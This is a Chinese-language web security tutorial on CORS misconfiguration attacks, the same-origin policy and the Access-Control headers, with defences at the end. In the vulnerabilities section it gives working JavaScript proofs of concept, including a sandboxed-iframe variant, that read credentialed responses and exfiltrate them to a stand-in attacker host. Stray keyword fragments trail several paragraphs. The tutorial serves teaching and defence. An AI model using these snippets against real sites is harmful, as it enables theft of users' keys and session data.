Web 安全 之 CORS

Cross-origin resource sharing (CORS)

在本節中,咱們將解釋什麼是跨域資源共享(CORS),並描述一些基於 CORS 的常見攻擊示例,以及討論如何防護這些攻擊。html

CORS(跨域資源共享)是什麼?

CORS(跨域資源共享)是一種瀏覽器機制,它容許對位於當前訪問域以外的資源進行受控訪問。它擴展並增長了同源策略的靈活性。然而,若是一個網站的 CORS 策略配置和實現不當,它也可能致使基於跨域的攻擊。CORS 不是針對跨源攻擊(例如跨站請求僞造 CSRF)的保護。web

Same-origin policy(同源策略)

同源策略是一種限制性的跨域規範,它限制了網站與源域以外資源交互的能力。同源策略是多年前定義的,用於應對潛在的惡意跨域交互,例如一個網站從另外一個網站竊取私人數據。它一般容許域向其餘域發出請求,但不容許訪問響應。正則表達式

更多內容可參考下本 Same-origin-policyapi

同源策略的放寬

同源策略具備很大的限制性,所以人們設計了不少方法去規避這些限制。許多網站與子域或第三方網站的交互方式要求徹底的跨域訪問。使用跨域資源共享(CORS)能夠有控制地放寬同源策略。跨域

CORS 協議使用一組 HTTP header 來定義可信的 web 域和相關屬性,例如是否容許經過身份驗證的訪問。瀏覽器和它試圖訪問的跨域網站之間進行這些 header 的交換。瀏覽器

更多內容可參考下文 CORS and the Access-Control-Allow-Origin response header緩存

CORS 配置不當引起的漏洞

如今許多網站使用 CORS 來容許來自子域和可信的第三方的訪問。他們對 CORS 的實現可能包含有錯誤或過於放寬,這可能致使可利用的漏洞。安全

服務端 ACAO 直接返回客戶端的 Origin

有些應用程序須要容許不少其它域的訪問。維護一個容許域的列表須要付出持續的努力,任何差錯都有可能形成破壞。所以,應用程序可能使用一些更加簡單的方法來達到最終目的。服務器

一種方法是從請求頭中讀取 Origin,而後將其做爲 Access-Control-Allow-Origin 響應頭返回。例如,應用程序接受了如下請求:cookie

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

而後,其響應:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true

響應頭代表容許從請求域進行訪問,而且跨域請求能夠包括 cookies(Access-Control-Allow-Credentials: true),所以瀏覽器將會在會話中進行處理。

因爲應用程序在 Access-Control-Allow-Origin 頭中直接返回了請求域,這意味着任何域均可以訪問資源。若是響應中包含了任何敏感信息,如 API key 或者 CSRF token 則均可以被獲取,你能夠在你的網站上放置如下腳本進行檢索:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};

Origin 處理漏洞

某些應用程序使用白名單機制來實現可信來源的訪問容許。當收到 CORS 請求時,將請求頭中的 origin 與白名單進行比較,若是在白名單中,則在 Access-Control-Allow-Origin 頭中返回請求的 origin 以容許其跨域訪問。例如,應用程序收到了以下的請求:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

應用程序檢查白名單列表,若是 origin 在表中,則響應:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

在實現 CORS origin 白名單時極可能會犯一些失誤。某個組織決定容許從其全部子域(包括還沒有存在的將來子域)進行訪問。應用程序容許從其餘組織的域(包括其子域)進行訪問。這些規則一般經過匹配 URL 前綴或後綴,或使用正則表達式來實現。實現中的任何失誤均可能致使訪問權限被授予意外的外部域。

例如,假設應用程序容許如下結尾的全部域的訪問權限:

normal-website.com

攻擊者則能夠經過註冊如下域來得到訪問權限(結尾匹配):

hackersnormal-website.com

或者應用程序容許如下開頭的全部域的訪問權限:

normal-website.com

攻擊者則可使用如下域得到訪問權限(開頭匹配):

normal-website.com.evil-user.net

Origin 白名單容許 null 值

瀏覽器會在如下狀況下發送值爲 null 的 Origin 頭:

  • 跨站點重定向
  • 來自序列化數據的請求
  • 使用 file: 協議的請求
  • 沙盒中的跨域請求

某些應用程序可能會在白名單中容許 null 以方便本地開發。例如,假設應用程序收到了如下跨域請求:

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

服務器響應:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

在這種狀況下,攻擊者可使用各類技巧生成 Origin 爲 null 的請求以經過白名單,從而得到訪問權限。例如,可使用 iframe 沙盒進行跨域請求:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

經過 CORS 信任關係利用 XSS

CORS 會在兩個域之間創建信任關係,即便 CORS 是正確的配置,可是若是某個受信任的網站存在 XSS 漏洞,那麼攻擊者就能夠利用 XSS 漏洞注入腳本,進而從受信任的網站上獲取敏感信息。

假設請求爲:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

若是服務器響應:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

那麼攻擊者能夠經過 subdomain.vulnerable-website.com 網站上的 XSS 漏洞去獲取一些敏感數據:

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

使用配置有問題的 CORS 中斷 TLS

假設一個嚴格使用 HTTPS 的應用程序也經過白名單信任了一個使用 HTTP 的子域。例如,當應用程序收到如下請求時:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

應用程序響應:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

在這種狀況下,可以攔截受害者用戶流量的攻擊者能夠利用 CORS 來破壞受害者與應用程序的正常交互。攻擊步驟以下:

  • 受害者用戶發出任何純 HTTP 請求。
  • 攻擊者將重定向注入到:http://trusted-subdomain.vulnerable-website.com
  • 受害者的瀏覽器遵循重定向。
  • 攻擊者截獲純 HTTP 請求,返回僞造的響應給受害者,併發出惡意的 CORS 請求給:https://vulnerable-website.com
  • 受害者的瀏覽器發出 CORS 請求,origin 爲:http://trusted-subdomain.vulnerable-website.com
  • 應用程序容許請求,由於這是一個白名單域,請求的敏感數據在響應中返回。
  • 攻擊者的欺騙頁面能夠讀取敏感數據並將其傳輸到攻擊者控制下的任何域。

即便易受攻擊的網站對 HTTPS 的使用沒有漏洞,而且沒有 HTTP 端點,同時全部 Cookie 都標記爲安全,此攻擊也是有效的。

內網和無憑證的 CORS

大部分 CORS 攻擊都須要如下響應頭的存在:

Access-Control-Allow-Credentials: true

沒有這個響應頭,受害者的瀏覽器將不會發送 cookies ,這意味着攻擊者只能訪問無需用戶驗證的內容,而這些內容直接訪問目標網站就能夠輕鬆得到。

然而,有一種狀況下攻擊者沒法直接訪問網站:網站是內網,而且是私有 IP 地址空間。內網的安全標準一般低於外網,這使得攻擊者發現漏洞後能夠得到進一步的訪問權限。例如,某個私有網絡中的跨域請求:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

服務器響應:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

服務器信任全部來源的跨域請求,並且無需憑證。若是私有IP地址空間內的用戶訪問公共互聯網,則能夠從外部站點執行基於 CORS 的攻擊,該站點使用受害者的瀏覽器做爲訪問內網資源的代理。

如何防禦基於 CORS 的攻擊

CORS 漏洞主要是因爲錯誤的配置而產生的,所以防禦措施主要也是如何進行正確配置的問題。下面將會描述一些有效的方法。

跨域請求的正確配置

若是 web 資源包含敏感信息,那麼應該在 Access-Control-Allow-Origin 頭中聲明容許的來源。

只容許受信任的站點

Access-Control-Allow-Origin 頭只能是受信任的站點。Access-Control-Allow-Origin 直接使用跨域請求的 origin 而不驗證是很容易被利用的,應該避免。

白名單中避免 null

避免 Access-Control-Allow-Origin: null 。來自內部文檔和沙盒請求的跨域資源調用能夠指定 origin 爲 null 的。CORS 頭應該根據私有和公共服務器的可信來源正肯定義。

避免在內部網絡中使用通配符

避免在內部網絡中使用通配符。當內部瀏覽器能夠訪問不受信任的外部域時,僅僅依靠網絡配置來保護內部資源是不夠的。

CORS 不是服務端安全策略的替代品

CORS 定義的只是瀏覽器行爲,永遠不能替代服務端對敏感數據的保護,畢竟攻擊者能夠直接在其它環境中僞造來自任何 origin 的請求。所以,除了正確配置的 CORS 以外,web 服務端仍然須要使用諸如身份驗證和會話管理等措施對敏感數據進行保護。


Same-origin policy (SOP) - 同源策略

在本節中,咱們將解釋什麼是同源策略以及它是如何實現的。

什麼是同源策略?

同源策略是一種旨在防止網站互相攻擊的 web 瀏覽器的安全機制。

同源策略限制一個源上的腳本訪問另外一個源的數據。

Origin 源由三個部分組成:schemadomainport ,所謂的同源就是要求這三個部分所有相同。 例以下面這個 URL:

http://normal-website.com/example/example.html

schema 是 http,domainnormal-website.comport 是 80 。下表顯示了若是上述 URL 中的內容嘗試訪問其它源將會是什麼狀況:

訪問的 URL 是否能夠訪問
http://normal-website.com/example/ 是,同源
http://normal-website.com/example2/ 是,同源
https://normal-website.com/example/ 否: scheme 和 port 都不一樣
http://en.normal-website.com/example/ 否: domain 不一樣
http://www.normal-website.com/example/ 否: domain 不一樣
http://normal-website.com:8080/example/ 否: port 不一樣*

*IE 瀏覽器將會容許訪問,由於 IE 瀏覽器在應用同源策略時不考慮端口號。

爲何同源策略是必要的?

當瀏覽器從一個源發送 HTTP 請求到另外一個源時,與另外一個源相關的任何 cookie (包括身份驗證會話cookie)也將會做爲請求的一部分一塊兒發送。這意味着響應將在用戶會話中返回,幷包含此特定用戶的相關數據。若是沒有同源策略,若是你訪問了一個惡意網站,它將可以讀取你 GMail 中的電子郵件、Facebook 上的私人消息等。

同源策略是如何實施的?

同源策略一般控制 JavaScript 代碼對跨域加載的內容的訪問。一般容許頁面資源的跨域加載。例如,同源策略容許經過 <img> 標籤嵌入圖像,經過 <video> 標籤嵌入媒體、以及經過 <script> 標籤嵌入 JavaScript 。可是,頁面只能加載這些外部資源,頁面上的任何 JavaScript 都沒法讀取這些資源的內容。

同源策略也有一些例外:

  • 有些對象跨域可寫入但不可讀,例如 location 對象,或者來自 iframes 或新窗口的 location.href 屬性。
  • 有些對象跨域可讀但不可寫,例如 window 對象的 length 屬性和 closed 屬性。
  • location 對象上能夠跨域調用 replace 函數。
  • 你能夠跨域調用某些函數。例如,你能夠在一個新窗口上調用 closeblurfocus 函數。也能夠在 iframes 和新窗口上 postMessage 函數以將消息從一個域發送到另外一個域。

因爲歷史遺留,在處理 cookie 時,同源策略更爲寬鬆,一般能夠從站點的全部子域訪問它們,即便每一個子域並不知足同源的要求。你可使用 HttpOnly 必定程度緩解這個風險。

使用 document.domain 能夠放寬同源策略,這個特殊屬性容許放寬特定域的同源策略,但前提是它是 FQDN(fully qualified domain name)的一部分。例如,你有一個域名 marketing.example.com,而且你想讀取 example.com 域的內容。爲此,兩個域都須要設置 document.domainexample.com,那麼同源策略將會容許這裏兩個域之間的訪問,儘管它們並不一樣源。在過去,你能夠將 document.domain 設置爲頂級域名如 com,以容許同一個頂級域名上的任何域之間的訪問,可是現代瀏覽器已經不容許這麼作了。


CORS 和 Access-Control-Allow-Origin 響應頭

在本節中,咱們將解釋有關 CORSAccess-Control-Allow-Origin 響應頭,以及後者如何構成 CORS 實現的一部分。

CORS 經過使用一組 HTTP 頭部提供了同源策略的可控制放寬,瀏覽器容許訪問基於這些頭部的跨域請求的響應。

什麼是 Access-Control-Allow-Origin 響應頭?

Access-Control-Allow-Origin 響應頭標識了跨域請求容許的請求來源,瀏覽器會將 Access-Control-Allow-Origin 與請求網站 origin 進行比較,若是二者匹配則容許訪問響應。

實現簡單的 CORS

CORS 規範規定了 web 服務器和瀏覽器之間交換的頭內容,其中 Access-Control-Allow-Origin 是最重要的。當網站發起跨域資源請求時,瀏覽器將會自動添加 Origin 頭,隨後服務器返回 Access-Control-Allow-Origin 響應頭。

例如,origin 爲 normal-website.com 的網站發起了以下跨域請求:

GET /data HTTP/1.1
Host: robust-website.com
Origin : https://normal-website.com

服務器響應:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com

瀏覽器將會容許 normal-website.com 網站代碼訪問響應,由於 Access-Control-Allow-OriginOrigin 匹配。

Access-Control-Allow-Origin 容許多個域,或者 null ,或者通配符 * 。可是沒有瀏覽器支持多個 origin ,且通配符的使用有限制。

帶憑證的跨域資源請求

跨域資源請求的默認行爲是傳遞請求時不會攜帶如 cookies 和 Authorization 頭等憑證的。然而,對於帶憑證的跨域請求,服務器經過設置 Access-Control-Allow-Credentials: true 響應頭能夠容許瀏覽器讀取響應。例如,某個網站使用 JavaScript 去控制發起請求時一塊兒發送 cookies :

GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

獲得的響應爲:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

那麼瀏覽器將會容許發起請求的網站讀取響應,由於 Access-Control-Allow-Credentials 設置爲了 true。不然,瀏覽器將不容許訪問響應。

使用通配符放寬 CORS

Access-Control-Allow-Origin 頭支持使用通配符 * ,如

Access-Control-Allow-Origin: *

注意:通配符不能與其餘值一塊兒使用,以下方式是非法的:

Access-Control-Allow-Origin: https://*.normal-website.com

幸運的是,基於安全考慮,通配符的使用是有限制的,你不能同時使用通配符與帶憑證的跨域傳輸。所以,如下形式的服務器響應是不容許的:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

由於這是很是危險的,這等於向全部人公開目標網站上全部通過身份驗證的內容。

預檢

爲了保護遺留資源不受 CORS 容許的擴展請求的影響,預檢也是 CORS 規範中的一部分。在某些狀況下,當跨域請求包括非標準的 HTTP method 或 header 時,在進行跨域請求以前,瀏覽器會先發起一次 method 爲 OPTIONS 的請求,而且對服務端響應的 Access-Control-* 之類的頭進行初步檢查,對比 origin、method 和 header 等等,這就叫預檢。

例如,對使用 PUT 方法和 Special-Request-Header 自定義請求頭的預檢請求爲:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

服務器可能響應:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

這個響應的含義:

  • Access-Control-Allow-Origin 容許的請求域。
  • Access-Control-Allow-Methods 容許的請求方法。
  • Access-Control-Allow-Headers 容許的請求頭。
  • Access-Control-Allow-Credentials 容許帶憑證的請求。
  • Access-Control-Max-Age 設置預檢響應的最大緩存時間,經過緩存減小預檢請求增長的額外的 HTTP 請求往返的開銷。

CORS 能防止 CSRF 嗎?

CORS 沒法提供對跨站請求僞造(CSRF)攻擊的防禦,這是一個容易出現誤解的地方。

CORS 是對同源策略的受控放寬,所以配置不當的 CORS 實際上可能會增長 CSRF 攻擊的可能性或加重其影響。

相關文章
相關標籤/搜索